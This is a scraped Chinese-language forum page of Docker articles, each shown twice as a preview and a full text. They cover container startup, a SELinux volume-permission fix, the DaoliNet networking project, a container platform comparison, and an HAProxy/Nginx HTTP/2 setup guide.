Docker

Docker

Docker数据将根分区磁盘占满了

大数据/云计算push 回复了问题 • 2 人关注 • 1 个回复 • 543 次浏览 • 2017-03-23 14:13 • 来自相关话题

为什么Docker使用-d参数后台运行容器退出了?

大数据/云计算采菊篱下 回复了问题 • 2 人关注 • 1 个回复 • 327 次浏览 • 2017-03-09 20:35 • 来自相关话题

Docker容器启动过程

大数据/云计算Something 发表了文章 • 0 个评论 • 285 次浏览 • 2017-03-09 15:02 • 来自相关话题

下面让我们看看一个Docker容器它启动过程中,背后到底做了什么?docker run -i -t ubuntu /bin/bash输入上面这行命令,启动一个ubuntu容器时,到底发生了什么?
 
大致过程可以用下图描述:




首先系统要有一个docker daemon的后台进程在运行,当刚才这行命令敲下时,发生了如下动作:
docker client(即:docker终端命令行)会调用docker daemon请求启动一个容器,docker daemon会向host os(即:linux)请求创建容器linux会创建一个空的容器(可以简单理解为:一个未安装操作系统的裸机,只有虚拟出来的CPU、内存等硬件资源)docker daemon请检查本机是否存在docker镜像文件(可以简单理解为操作系统安装光盘),如果有,则加载到容器中(即:光盘插入裸机,准备安装操作系统)将镜像文件加载到容器中(即:裸机上安装好了操作系统,不再是裸机状态)
 
最后,我们就得到了一个ubuntu的虚拟机,然后就可以进行各种操作了。
 
 
如果在第4步检查本机镜像文件时,发现文件不存在,则会到默认的docker镜像注册机构(即:docker hub网站)去联网下载,下载回来后,再进行装载到容器的动作,即下图所示:




另外官网有一张图也很形象的描述了这个过程:




原文地址:http://www.cnblogs.com/yjmyzz/p/docker-container-start-up-analysis.html 

参考文章:
https://www.gitbook.com/book/joshhu/docker_theory_install/details  
https://docs.docker.com/engine/introduction/understanding-docker/  查看全部
下面让我们看看一个Docker容器它启动过程中,背后到底做了什么?
docker run -i -t ubuntu /bin/bash
输入上面这行命令,启动一个ubuntu容器时,到底发生了什么?
 
大致过程可以用下图描述:
dockerflow.png

首先系统要有一个docker daemon的后台进程在运行,当刚才这行命令敲下时,发生了如下动作:
  1. docker client(即:docker终端命令行)会调用docker daemon请求启动一个容器,
  2. docker daemon会向host os(即:linux)请求创建容器
  3. linux会创建一个空的容器(可以简单理解为:一个未安装操作系统的裸机,只有虚拟出来的CPU、内存等硬件资源)
  4. docker daemon请检查本机是否存在docker镜像文件(可以简单理解为操作系统安装光盘),如果有,则加载到容器中(即:光盘插入裸机,准备安装操作系统)
  5. 将镜像文件加载到容器中(即:裸机上安装好了操作系统,不再是裸机状态)

 
最后,我们就得到了一个ubuntu的虚拟机,然后就可以进行各种操作了。
 
 
如果在第4步检查本机镜像文件时,发现文件不存在,则会到默认的docker镜像注册机构(即:docker hub网站)去联网下载,下载回来后,再进行装载到容器的动作,即下图所示:
dockerload.png

另外官网有一张图也很形象的描述了这个过程:
dockerfollow.png

原文地址:http://www.cnblogs.com/yjmyzz/p/docker-container-start-up-analysis.html 

参考文章:
https://www.gitbook.com/book/joshhu/docker_theory_install/details  
https://docs.docker.com/engine/introduction/understanding-docker/ 

在Docker容器中计划任务不能执行?

大数据/云计算采菊篱下 回复了问题 • 2 人关注 • 1 个回复 • 367 次浏览 • 2017-02-24 13:25 • 来自相关话题

如何执行一个已经运行Docker容器内的脚本?

大数据/云计算采菊篱下 回复了问题 • 3 人关注 • 4 个回复 • 380 次浏览 • 2017-03-09 20:17 • 来自相关话题

Docker挂载主机目录出现Permission denied状况分析

大数据/云计算采菊篱下 发表了文章 • 0 个评论 • 606 次浏览 • 2017-02-16 23:10 • 来自相关话题

今天用脚本部署一个Docker私有化环境,挂载宿主机目录出现Permission denied的情况,导致服务启动失败,具体情况如下:








问题原因及解决办法:
原因是CentOS7中的安全模块selinux把权限禁掉了,至少有以下三种方式解决挂载的目录没有权限的问题:
1、在运行容器的时候,给容器加特权,及加上 --privileged=true 参数docker run -i -t -v /data/mysql/data:/data/var-3306 --privileged=true b0387b8279d4 /bin/bash -c "/opt/start_db.sh"2、临时关闭selinuxsetenforce 03、添加selinux规则,改变要挂载的目录的安全性文本:# 更改安全性文本的格式如下
chcon [-R] [-t type] [-u user] [-r role] 文件或者目录

选顷不参数:
-R :连同该目录下癿次目录也同时修改;
-t :后面接安全性本文的类型字段!例如 httpd_sys_content_t ;
-u :后面接身份识别,例如 system_u;
-r :后面街觇色,例如 system_r

[root@localhost Desktop]# chcon --help
Usage: chcon [OPTION]... CONTEXT FILE...
or: chcon [OPTION]... [-u USER] [-r ROLE] [-l RANGE] [-t TYPE] FILE...
or: chcon [OPTION]... --reference=RFILE FILE...
Change the SELinux security context of each FILE to CONTEXT.
With --reference, change the security context of each FILE to that of RFILE.

Mandatory arguments to long options are mandatory for short options too.
--dereference affect the referent of each symbolic link (this is
the default), rather than the symbolic link itself
-h, --no-dereference affect symbolic links instead of any referenced file
-u, --user=USER set user USER in the target security context
-r, --role=ROLE set role ROLE in the target security context
-t, --type=TYPE set type TYPE in the target security context
-l, --range=RANGE set range RANGE in the target security context
--no-preserve-root do not treat '/' specially (the default)
--preserve-root fail to operate recursively on '/'
--reference=RFILE use RFILE's security context rather than specifying
a CONTEXT value
-R, --recursive operate on files and directories recursively
-v, --verbose output a diagnostic for every file processed

The following options modify how a hierarchy is traversed when the -R
option is also specified. If more than one is specified, only the final
one takes effect.

-H if a command line argument is a symbolic link
to a directory, traverse it
-L traverse every symbolic link to a directory
encountered
-P do not traverse any symbolic links (default)

--help display this help and exit
--version output version information and exit

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
For complete documentation, run: info coreutils 'chcon invocation'在主机中修改/data/mysql/data目录的安全性文档[root@localhost Desktop]# chcon -Rt svirt_sandbox_file_t /data/mysql/data在docker中就可以正常访问该目录下的相关资源了。
卷权限参考:https://yq.aliyun.com/articles/53990  查看全部
Docker.jpeg

今天用脚本部署一个Docker私有化环境,挂载宿主机目录出现Permission denied的情况,导致服务启动失败,具体情况如下:
errorqx.png

cerror.png

问题原因及解决办法:
原因是CentOS7中的安全模块selinux把权限禁掉了,至少有以下三种方式解决挂载的目录没有权限的问题:
1、在运行容器的时候,给容器加特权,及加上 --privileged=true 参数
docker run -i -t -v /data/mysql/data:/data/var-3306 --privileged=true b0387b8279d4 /bin/bash -c "/opt/start_db.sh"
2、临时关闭selinux
setenforce 0
3、添加selinux规则,改变要挂载的目录的安全性文本:
# 更改安全性文本的格式如下
chcon [-R] [-t type] [-u user] [-r role] 文件或者目录

选顷不参数:
-R :连同该目录下癿次目录也同时修改;
-t :后面接安全性本文的类型字段!例如 httpd_sys_content_t ;
-u :后面接身份识别,例如 system_u;
-r :后面街觇色,例如 system_r

[root@localhost Desktop]# chcon --help
Usage: chcon [OPTION]... CONTEXT FILE...
or: chcon [OPTION]... [-u USER] [-r ROLE] [-l RANGE] [-t TYPE] FILE...
or: chcon [OPTION]... --reference=RFILE FILE...
Change the SELinux security context of each FILE to CONTEXT.
With --reference, change the security context of each FILE to that of RFILE.

Mandatory arguments to long options are mandatory for short options too.
--dereference affect the referent of each symbolic link (this is
the default), rather than the symbolic link itself
-h, --no-dereference affect symbolic links instead of any referenced file
-u, --user=USER set user USER in the target security context
-r, --role=ROLE set role ROLE in the target security context
-t, --type=TYPE set type TYPE in the target security context
-l, --range=RANGE set range RANGE in the target security context
--no-preserve-root do not treat '/' specially (the default)
--preserve-root fail to operate recursively on '/'
--reference=RFILE use RFILE's security context rather than specifying
a CONTEXT value
-R, --recursive operate on files and directories recursively
-v, --verbose output a diagnostic for every file processed

The following options modify how a hierarchy is traversed when the -R
option is also specified. If more than one is specified, only the final
one takes effect.

-H if a command line argument is a symbolic link
to a directory, traverse it
-L traverse every symbolic link to a directory
encountered
-P do not traverse any symbolic links (default)

--help display this help and exit
--version output version information and exit

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
For complete documentation, run: info coreutils 'chcon invocation'
在主机中修改/data/mysql/data目录的安全性文档
[root@localhost Desktop]# chcon -Rt svirt_sandbox_file_t /data/mysql/data
在docker中就可以正常访问该目录下的相关资源了。
卷权限参考:https://yq.aliyun.com/articles/53990 

道里云开源DaoliNet高效动态Docker网络

开源项目chris 发表了文章 • 0 个评论 • 1019 次浏览 • 2016-05-28 17:58 • 来自相关话题

DaoliNet是高效和动态Docker网络
DaoliNet是一个软件,旨在提供Docker容器效率和动态连接,这是适合于Docker容器的微服务工作负荷的重量轻且短暂性质定义网络(SDN)的系统。

高级特征:
[]资源高效:容器连接消耗,当容器不主动沟通的小主机资源,而且可以立即切换到提供完整的连接能力。 这是在主机CPU资源的容器有效地利用相同的方式。 你获得更多的服务器资源。[/][]分布在任何地方:Docker服务器可以在公共云,如AWS在自己的数据中心的笔记本电脑或PC你的办公室或家中,服务器的防火墙内,或虚拟机。[/][]网络虚拟化:您可以选择任何CIDR IP地址,你的容器和容器可以保持IP地址移动物理位置后保持不变。[/][]使用开放式的V-Switch纯软件实现(OVS):提供网络功能的分布式交换机,路由器,网关和防火墙。 在插件的即插即用的简单系统的部署。[/]
要了解更多关于DaoliNet: http://www.daolinet.org 
 
Docker在高效和动态网络的需求
提供高效的微服务容器时,可以在生命周期短暂的高度:大量的Docker动态云集装箱的需要快速建立连接,以及频繁更换连接状态。 传统的数据平面的路由学习技术要求泊坞窗服务器经常学习和更新了大量动态的容器,这转化为较低的高效利用服务器资源的路由信息。 迄今为止,网络是Docker的核心特征是相对不成熟,仍处于开发状态。

架构
DaoliNet的网络体系结构是基于OpenFlow的标准。 它采用的OpenFlow控制器作为智能控制平面,和Open-V开关(OVSes)来实现数据路径。 该OpenFlow的控制器在DaoliNet是逻辑上集中的实体,但实际一组HA分布式Web服务类似物。  OVSes是无所不在提供Linux内核,因此可以应用在所有的Docker服务器。

在DaoliNet网络中,所有Docker服务器都在其中无论是身体或VPN连接的以太网。 每个Docker服务器充当所有在该服务器上托管的容器的工作负载的虚拟路由器。 然而,这些虚拟路由器的OpenFlow技术工作,他们不运行任何路由算法。 在一个容器发起连接,所涉及的虚拟路由器将实时由OpenFlow的控制器配置成建立路由。





怎么运行的
当容器开始在Docker服务器作为源路由器将发出一个PacketIn请求的OpenFlow控制器的连接时,OVS。 该PacketIn请求是刚刚从启动容器中的第一个数据包。 在OpenFlow的控制器,知道所有Docker服务器,路由器OpenFlow技术在系统中,看到PacketIn,可以识别它承载容器作为目标工作负载的另一个Docker服务器。 该第二Docker服务器是为连接目的地路由器。 所述的OpenFlow控制器将有一对PacketOut流,一个用于源服务器,和另一个用于目标服务器的响应。 这些PacketOut流建立在两个容器之间热插拔路线,见下图:




当一个连接变得空闲并且在一个时间阈值,则热插拔路线将超时和删除以释放服务器的资源。 由于热插拔路由建立快速,删除不活动的连接可以在重新连接被重新热插拔。 因此Docker服务器作为DaoliNet路由器工作在无连接,无资源消耗的风格。 网络资源利用率的这种风格完全匹配利用服务器CPU在该容器的时候,闲置集装箱消耗很少的服务器资源. DaoliNet是一种有效的和动态的网络技术用于连接Docker容器。

简单的网络为集装箱
在DaoliNet,在系统Docker服务器处于未会意酮另一个的一个简单的状态,完全独立于彼此。 这个体系结构不仅节省了资源利用率,但更重要的是Docker服务器之间的独立关系极大地简化了资源的管理。 扩展资源池是为服务器添加到游泳池和通知的OpenFlow控制器的即插即用的打法一样简单。 需要在路由器之间没有复杂的路由表查找和更新。 也没有必要Docker服务器成对运行一些包的封装协议,它不仅是资源利用效率低,而且会抵消网络诊断和故障排除工具,如跟踪路由。
更多了解官网: http://www.daolinet.org/html/technology.html 
Github项目地址:https://github.com/daolinet/daolinet 查看全部
daolinet.png

DaoliNet是高效和动态Docker网络
DaoliNet是一个软件,旨在提供Docker容器效率和动态连接,这是适合于Docker容器的微服务工作负荷的重量轻且短暂性质定义网络(SDN)的系统。

高级特征:
    []资源高效:容器连接消耗,当容器不主动沟通的小主机资源,而且可以立即切换到提供完整的连接能力。 这是在主机CPU资源的容器有效地利用相同的方式。 你获得更多的服务器资源。[/][]分布在任何地方:Docker服务器可以在公共云,如AWS在自己的数据中心的笔记本电脑或PC你的办公室或家中,服务器的防火墙内,或虚拟机。[/][]网络虚拟化:您可以选择任何CIDR IP地址,你的容器和容器可以保持IP地址移动物理位置后保持不变。[/][]使用开放式的V-Switch纯软件实现(OVS):提供网络功能的分布式交换机,路由器,网关和防火墙。 在插件的即插即用的简单系统的部署。[/]

要了解更多关于DaoliNet: http://www.daolinet.org 
 
Docker在高效和动态网络的需求
提供高效的微服务容器时,可以在生命周期短暂的高度:大量的Docker动态云集装箱的需要快速建立连接,以及频繁更换连接状态。 传统的数据平面的路由学习技术要求泊坞窗服务器经常学习和更新了大量动态的容器,这转化为较低的高效利用服务器资源的路由信息。 迄今为止,网络是Docker的核心特征是相对不成熟,仍处于开发状态。

架构
DaoliNet的网络体系结构是基于OpenFlow的标准。 它采用的OpenFlow控制器作为智能控制平面,和Open-V开关(OVSes)来实现数据路径。 该OpenFlow的控制器在DaoliNet是逻辑上集中的实体,但实际一组HA分布式Web服务类似物。  OVSes是无所不在提供Linux内核,因此可以应用在所有的Docker服务器。

在DaoliNet网络中,所有Docker服务器都在其中无论是身体或VPN连接的以太网。 每个Docker服务器充当所有在该服务器上托管的容器的工作负载的虚拟路由器。 然而,这些虚拟路由器的OpenFlow技术工作,他们不运行任何路由算法。 在一个容器发起连接,所涉及的虚拟路由器将实时由OpenFlow的控制器配置成建立路由。
dotnet.png


怎么运行的
当容器开始在Docker服务器作为源路由器将发出一个PacketIn请求的OpenFlow控制器的连接时,OVS。 该PacketIn请求是刚刚从启动容器中的第一个数据包。 在OpenFlow的控制器,知道所有Docker服务器,路由器OpenFlow技术在系统中,看到PacketIn,可以识别它承载容器作为目标工作负载的另一个Docker服务器。 该第二Docker服务器是为连接目的地路由器。 所述的OpenFlow控制器将有一对PacketOut流,一个用于源服务器,和另一个用于目标服务器的响应。 这些PacketOut流建立在两个容器之间热插拔路线,见下图:
dnet2.png

当一个连接变得空闲并且在一个时间阈值,则热插拔路线将超时和删除以释放服务器的资源。 由于热插拔路由建立快速,删除不活动的连接可以在重新连接被重新热插拔。 因此Docker服务器作为DaoliNet路由器工作在无连接,无资源消耗的风格。 网络资源利用率的这种风格完全匹配利用服务器CPU在该容器的时候,闲置集装箱消耗很少的服务器资源. DaoliNet是一种有效的和动态的网络技术用于连接Docker容器。

简单的网络为集装箱
在DaoliNet,在系统Docker服务器处于未会意酮另一个的一个简单的状态,完全独立于彼此。 这个体系结构不仅节省了资源利用率,但更重要的是Docker服务器之间的独立关系极大地简化了资源的管理。 扩展资源池是为服务器添加到游泳池和通知的OpenFlow控制器的即插即用的打法一样简单。 需要在路由器之间没有复杂的路由表查找和更新。 也没有必要Docker服务器成对运行一些包的封装协议,它不仅是资源利用效率低,而且会抵消网络诊断和故障排除工具,如跟踪路由。
更多了解官网: http://www.daolinet.org/html/technology.html 
Github项目地址https://github.com/daolinet/daolinet

docker pull ubuntu出错

大数据/云计算弥彦 回复了问题 • 3 人关注 • 2 个回复 • 1014 次浏览 • 2016-04-11 21:28 • 来自相关话题

招行容器平台对比报告

学习资源push 发表了文章 • 0 个评论 • 735 次浏览 • 2016-04-03 19:16 • 来自相关话题

测试维度




测试维度主要思路是开发-->交付-->运维这个思路来做的,从开发版本迭代到最少产品交付给运维部署上线。开发版本出来之后,开发内部build完成之后,协同测试后把程序交付给应用管理系统和数据服务,最后交付完成集成之后交由运维部署。

测试指标




测试指标主要是珍对容器服务的功能生态系统周期测试。是否支持团队协作、微服务器架构、容器化、持续交付、云平台等方面来考虑容器平台的可用迭代完整性。

参测产品






厂商功能对比

1、DevOps




2、微服务




3、容器化




4、持续交付




5、混合云





总结

不管是哪家厂商都不重要,重要的是可以满足客户现有环境和需求。当然如果厂商支持的功能越多和越全面,适配的概率和可用性会更高,最后考虑的才是产品质量,只有更好的适配度和满足度,才会进一步商务洽谈下去。 查看全部


测试维度


test.png
测试维度主要思路是开发-->交付-->运维这个思路来做的,从开发版本迭代到最少产品交付给运维部署上线。开发版本出来之后,开发内部build完成之后,协同测试后把程序交付给应用管理系统和数据服务,最后交付完成集成之后交由运维部署。


测试指标


test_ind.png
测试指标主要是珍对容器服务的功能生态系统周期测试。是否支持团队协作、微服务器架构、容器化、持续交付、云平台等方面来考虑容器平台的可用迭代完整性。


参测产品


inc.png


厂商功能对比


1、DevOps
devops.png

2、微服务
wservice.png

3、容器化
docker.png

4、持续交付
cpay.png

5、混合云
mcloud.png


总结


不管是哪家厂商都不重要,重要的是可以满足客户现有环境和需求。当然如果厂商支持的功能越多和越全面,适配的概率和可用性会更高,最后考虑的才是产品质量,只有更好的适配度和满足度,才会进一步商务洽谈下去。

HAProxy和Nginx 配置HTTP/2完整指南

运维技术push 发表了文章 • 0 个评论 • 922 次浏览 • 2016-04-01 00:21 • 来自相关话题

基于最近对HTTP/2的争论和它的优势,是时候升级底层架构了。这篇文章将会介绍如何在安装和配置HAProxy和Ngnix(使用ssl终端)。为了简化流程,我建议你准备好使用Docker镜像。




如果你想跳过安装环节或你只对配置环节感兴趣,可以跳至文章后面配置部分。

我为什么需要关注HTTP/2?​

这里有一些介绍HTTP/2益处的文章-而且我鼓励你去读一读。下面我将重点介绍我认为比较重要的几点。
HTTP/2的主要优势:
[]使用二进制数据(不像HTTP/1.1一样使用明文)而且它使用了header数据压缩。不用再为header和cookie的大小而担心了。[/][]它是完全多元化的,为了提升并发性可以使用一个连接加载多种资源。你的网站性能在需要引入多种资源的时候会表现得更好,因为现在它们可以在一次TCP连接中全部加载,在非阻塞模式中。域名切分和资源级联变成了反面模式。简单来说:你的网站加载会更快。 [/][]它允许服务器提前推送请求到客户端的缓存(目前Ngnix不支持这个特性) [/][]它使用新的ALPN扩展,那将允许更快地加密连接。这个加密协议在初始化连接的阶段是可用的。[/]
今天我可以使用它吗?




是的,你可以。正如你所看到的在Can I Use上的服务那样,所有现代浏览器现在都支持HTTP/2,这里包括IE11和Edge。唯一的例外是移动端的Opera Mini和Android浏览器不支持它。

此外,下面描述的配置都会确保客户端在不支持HTTP/2的情况下,退回到HTTP/1.1。这非常重要:你的网站应该为那些老版本浏览器或搜索引擎爬虫提供访问支持。

安装

我会在CentOS 7下安装,如果你使用其他Linux发布版本,你可以简单调整下代码。
你需要做的:
[]站点能跑通SSL。如果你还没有虚拟证书的话,你需要使用虚拟证书(简单)。[/][]Ngnix 1.9.5 或更新版本( 简单 )。[/][]安装配置好OpenSSL的HAPorxy 1.6或更新版( 需要一些技巧 )。[/][]良好的HAPRoxy和Ngnix配置( 简单 )。[/][]确认你是否已经在使用HTTP/2,HTTP/2 and SPDY indicator 对Chrome友好。[/]
OpenSSL部分是需要一些技巧,因为大部分有OpwnSSL 1.0.1(或者更旧的版本)的Linux分支都不支持ALPN(应用层协议协商)。ALPN协议允许应用层去协商,这个协议将被用在连接中,而且这是基本的,如果我们要在相同的TCP端口支持HTTP/2和HTTP/1。除此之外,HTTP/2在HAProxy中只支持使用ALPN,所以它一定会在我们的列表里。
如果你对安装流程熟悉的话,请直接跳至配置部分.1.获取 SSL 证书
你可以很便宜的从ssl2buy.com上买到信任证书,那里有许多靠谱发行机构的代售。我曾经在那里买了一堆证书而且我推荐他们的服务和客户支持。你可以从那里拿到低于20美元的AphaSSL证书。
 
如果你需要为HAProxy或Nginx生成虚拟证书,你可以使用下面的命令:# Generate all keys and cefiticates in /etc/ssl/ directory
openssl genrsa -out /etc/ssl/dummy.key 2048
openssl req -new -key /etc/ssl/dummy.key -out /etc/ssl/dummy.csr -subj "/C=GB/L=London/O=Company Ltd/CN=haproxy"
openssl x509 -req -days 3650 -in /etc/ssl/dummy.csr -signkey /etc/ssl/dummy.key -out /etc/ssl/dummy.crt# Concatenate certificate and key into .pem format, compatible with HAProxy
cat /etc/ssl/dummy.crt /etc/ssl/dummy.key > /etc/ssl/dummy.pem我们需要在下一步的配置中使用生成的证书和秘钥。
 
2.Nginx 安装
在CentOS 7上安装Ngnix 1.9十分简单。唯一需要做的就是使用主线版YUM源,而不是稳定版。就像Nginx.org page上描述的那样,把yum源的配置放到/etc/yum.repos.d/nginx.repo位置然后执行yum install:搞定。
 
让我们创建一个Ngnix vhost.conf(虚拟主机配置文件)确保我们的Nginx在拥有HTTP/2的情况下正常工作。下面是一个简单的vhost配置:
    第一点:关键点是在listen 443 default_server ssl http2那一行。这就相当于你使用了HTTP/2。

    第二点:现在忽略第三行listen 81部分的配置 - 我们一会再回来看这部分。

    第三点:我使用使用标准的80/443端口在Docker镜像里跑这个样例,所以它们不会和我的host主机上的任何端口发生冲突。如果有需要,你可以把它调整至适用你的需要。

    第四点:使用在获取SSL证书那一步生成的dummy.crt和dummy.key。

好了,当你使用https://协议连接站点时,HTTP/2提示器会提示你站点正在运行HTTP/2协议。

恭喜你,你的Ngnix已经在运行HTTP/2了!
 
3、OpenSSL 和 HAProxy 安装
这一部分有点棘手。我们需要编译OpenSSL 1.0.2的源码(因为在yum中还没有可用的资源)并且在之后的HAProxy重编译中还会使用到它。
 
建立OpenSSL的工作,我们使用no-shared参数,并且HAProxy是通过静态方式连接到OpenSSL的。我遵照的是HAProxy官方的README.但可笑的是,我最终还是采用了其他的方式……并且要非常足智多谋。你会常常去读这些冗长且乏味的README文件吗?
在那之后,你应该已经编译通过HAProxy且安装好了。测试一下:haproxy -vv
 4、配置
这是一个我们将用到完整的/etc/haproxy/haproxy.cfg(HAProxy配置):

最本质的部分在这:

这里我们定义了HTTPS前端接口在客户端请求HAProxy时监听443端口。

请求被后端的nodes-http2还是nodes-http处理取决于客户端是否支持HTTP2.注意我们决定SSL在HAProxy上使用这个配置,连接对后端服务器来说是被解密过的。我们的后端服务器可以被HAProxy用web服务器的域名访问(这就是运行过程中的Nginx,就像我们上面说的)。

在bind *:443 line with alpn h2,http/1.1一行我们建议为了方便客户端使用最好两种协议(HTTP/2 and HTTP/1.1)都支持。

这样的话浏览器即使不支持HTTP/2,也可以浏览我们的网站。

use_backend nodes-http2 if { ssl_fc_alpn -i h2 } 支持HTTP/2的客户端会被重定向到nodes-http2后端节点,剩下使用HTTP/1.1协议的将被nodes-http处理。如果你想让后端兼容还不支持HTTP/2的客户端,这件事十分重要的。

因此我们会有下面这一行:

server node1 web.server:81 check send-proxy

在这里,我们只讨论了HAProxy和HTTP/2协议。通常它连接web.server在81端口。我们还有更令人高兴的惊喜吗?
让我们用nginx下列虚拟主机配置(如上所述):

这一行:listen 81 default_server http2 proxy_protocol;

定义了服务器在端口81,会处理HTTP/2的请求。请注意,我们无法在服务器使用443端口进行SSL连接:SSL连接已经被HAProxy解密过了,所以现在我们有一个非加密连接。因此我们需要限制服务器的81端口只使用HTTP/2,不使用SSL。

题外话:小也有proxy_protocol关键词。在haproxy.cfg等效发送代理,在后端服务器配置。代理协议是独立出来的,这儿有篇文章很好的解释了原因。简而言之,它允许通过HAProxy后端服务器传送客户端的IP地址和端口号,这通常是非常理想的。

你可以使用上面的配置运行HAProxy:HAProxy F / etc / HAProxy / haproxy.cfg现在你应该能够连接到您的代理主机(例如https://localhost:443/),看到它正在运行HTTP / 2。如果你在Firefox的测试,检查网络请求头的标题,你会看到X-Firefox-Spdy: "h2"。

Docker images

如果你早已经会使用Docker,你可以用我们的MILLION12镜像。当Docker还是1.0版本的时候我们已经开始使用Docker很长时间了(MILLION12这是我们的仓库地址),而且我们已经构建了一堆有用的镜像。在这个例子里,我们将使用million12/haproxy和million12/nginx这两个镜像。里面的配置是我们讨论后的最终结果。

你可以运行整个栈通过使用docker-compose.yml文件。注意我们是通过haproxy容器里的web.server主机名连接Nignx的,那个域名就是当前haproxy.cfg使用的主机名。

连接https://haproxy:8443你就会看到屏幕显示出如下内容(注意蓝色的HTTP/2提示部分。








如果你想看看使用这些Docker镜像和上述配置的真实的产品工程,打开https://PrototypeBrewery.io 。Prototype Brewery是我们的产品,一个计划和构建交互式web项目的原型工具。打开看看吧,我们已经在使用HTTP/2了(别忘了注册)。

总结

正如你看到的,迁移到HTTP/2真的很简单,你今天就能做掉。 没有什么理由让你再等下去了,主流浏览器都已经支持它了。而且即使回迁到HTTP/1.1上你仍然是安全的。分享阅读原文:http://m12.io/blog/http-2-with-haproxy-and-nginx-guide 
中文原文:http://www.oschina.net/translate/haproxy-nginx-http-2 查看全部
基于最近对HTTP/2的争论和它的优势,是时候升级底层架构了。这篇文章将会介绍如何在安装和配置HAProxy和Ngnix(使用ssl终端)。为了简化流程,我建议你准备好使用Docker镜像。
hanginx.png

如果你想跳过安装环节或你只对配置环节感兴趣,可以跳至文章后面配置部分。


我为什么需要关注HTTP/2?​


这里有一些介绍HTTP/2益处的文章-而且我鼓励你去读一读。下面我将重点介绍我认为比较重要的几点。
HTTP/2的主要优势:
    []使用二进制数据(不像HTTP/1.1一样使用明文)而且它使用了header数据压缩。不用再为header和cookie的大小而担心了。[/][]它是完全多元化的,为了提升并发性可以使用一个连接加载多种资源。你的网站性能在需要引入多种资源的时候会表现得更好,因为现在它们可以在一次TCP连接中全部加载,在非阻塞模式中。域名切分和资源级联变成了反面模式。简单来说:你的网站加载会更快。 [/][]它允许服务器提前推送请求到客户端的缓存(目前Ngnix不支持这个特性) [/][]它使用新的ALPN扩展,那将允许更快地加密连接。这个加密协议在初始化连接的阶段是可用的。[/]

今天我可以使用它吗?
use.png

是的,你可以。正如你所看到的在Can I Use上的服务那样,所有现代浏览器现在都支持HTTP/2,这里包括IE11和Edge。唯一的例外是移动端的Opera Mini和Android浏览器不支持它。

此外,下面描述的配置都会确保客户端在不支持HTTP/2的情况下,退回到HTTP/1.1。这非常重要:你的网站应该为那些老版本浏览器或搜索引擎爬虫提供访问支持。


安装


我会在CentOS 7下安装,如果你使用其他Linux发布版本,你可以简单调整下代码。
你需要做的:
    []站点能跑通SSL。如果你还没有虚拟证书的话,你需要使用虚拟证书(简单)。[/][]Ngnix 1.9.5 或更新版本( 简单 )。[/][]安装配置好OpenSSL的HAPorxy 1.6或更新版( 需要一些技巧 )。[/][]良好的HAPRoxy和Ngnix配置( 简单 )。[/][]确认你是否已经在使用HTTP/2,HTTP/2 and SPDY indicator 对Chrome友好。[/]

OpenSSL部分是需要一些技巧,因为大部分有OpwnSSL 1.0.1(或者更旧的版本)的Linux分支都不支持ALPN(应用层协议协商)。ALPN协议允许应用层去协商,这个协议将被用在连接中,而且这是基本的,如果我们要在相同的TCP端口支持HTTP/2和HTTP/1。除此之外,HTTP/2在HAProxy中只支持使用ALPN,所以它一定会在我们的列表里。
如果你对安装流程熟悉的话,请直接跳至配置部分.
1.获取 SSL 证书
你可以很便宜的从ssl2buy.com上买到信任证书,那里有许多靠谱发行机构的代售。我曾经在那里买了一堆证书而且我推荐他们的服务和客户支持。你可以从那里拿到低于20美元的AphaSSL证书。
 
如果你需要为HAProxy或Nginx生成虚拟证书,你可以使用下面的命令:
# Generate all keys and cefiticates in /etc/ssl/ directory
openssl genrsa -out /etc/ssl/dummy.key 2048
openssl req -new -key /etc/ssl/dummy.key -out /etc/ssl/dummy.csr -subj "/C=GB/L=London/O=Company Ltd/CN=haproxy"
openssl x509 -req -days 3650 -in /etc/ssl/dummy.csr -signkey /etc/ssl/dummy.key -out /etc/ssl/dummy.crt
# Concatenate certificate and key into .pem format, compatible with HAProxy
cat /etc/ssl/dummy.crt /etc/ssl/dummy.key > /etc/ssl/dummy.pem
我们需要在下一步的配置中使用生成的证书和秘钥。
 
2.Nginx 安装
在CentOS 7上安装Ngnix 1.9十分简单。唯一需要做的就是使用主线版YUM源,而不是稳定版。就像Nginx.org page上描述的那样,把yum源的配置放到/etc/yum.repos.d/nginx.repo位置然后执行yum install:搞定。
 
让我们创建一个Ngnix vhost.conf(虚拟主机配置文件)确保我们的Nginx在拥有HTTP/2的情况下正常工作。下面是一个简单的vhost配置:
    第一点:关键点是在listen 443 default_server ssl http2那一行。这就相当于你使用了HTTP/2。

    第二点:现在忽略第三行listen 81部分的配置 - 我们一会再回来看这部分。

    第三点:我使用使用标准的80/443端口在Docker镜像里跑这个样例,所以它们不会和我的host主机上的任何端口发生冲突。如果有需要,你可以把它调整至适用你的需要。

    第四点:使用在获取SSL证书那一步生成的dummy.crt和dummy.key。

好了,当你使用https://协议连接站点时,HTTP/2提示器会提示你站点正在运行HTTP/2协议。

恭喜你,你的Ngnix已经在运行HTTP/2了!
 
3、OpenSSL 和 HAProxy 安装
这一部分有点棘手。我们需要编译OpenSSL 1.0.2的源码(因为在yum中还没有可用的资源)并且在之后的HAProxy重编译中还会使用到它。
 
建立OpenSSL的工作,我们使用no-shared参数,并且HAProxy是通过静态方式连接到OpenSSL的。我遵照的是HAProxy官方的README.但可笑的是,我最终还是采用了其他的方式……并且要非常足智多谋。你会常常去读这些冗长且乏味的README文件吗?
在那之后,你应该已经编译通过HAProxy且安装好了。测试一下:
haproxy -vv

 4、配置
这是一个我们将用到完整的/etc/haproxy/haproxy.cfg(HAProxy配置):

最本质的部分在这:

这里我们定义了HTTPS前端接口在客户端请求HAProxy时监听443端口。

请求被后端的nodes-http2还是nodes-http处理取决于客户端是否支持HTTP2.注意我们决定SSL在HAProxy上使用这个配置,连接对后端服务器来说是被解密过的。我们的后端服务器可以被HAProxy用web服务器的域名访问(这就是运行过程中的Nginx,就像我们上面说的)。

在bind *:443 line with alpn h2,http/1.1一行我们建议为了方便客户端使用最好两种协议(HTTP/2 and HTTP/1.1)都支持。

这样的话浏览器即使不支持HTTP/2,也可以浏览我们的网站。

use_backend nodes-http2 if { ssl_fc_alpn -i h2 } 支持HTTP/2的客户端会被重定向到nodes-http2后端节点,剩下使用HTTP/1.1协议的将被nodes-http处理。如果你想让后端兼容还不支持HTTP/2的客户端,这件事十分重要的。

因此我们会有下面这一行:

server node1 web.server:81 check send-proxy

在这里,我们只讨论了HAProxy和HTTP/2协议。通常它连接web.server在81端口。我们还有更令人高兴的惊喜吗?
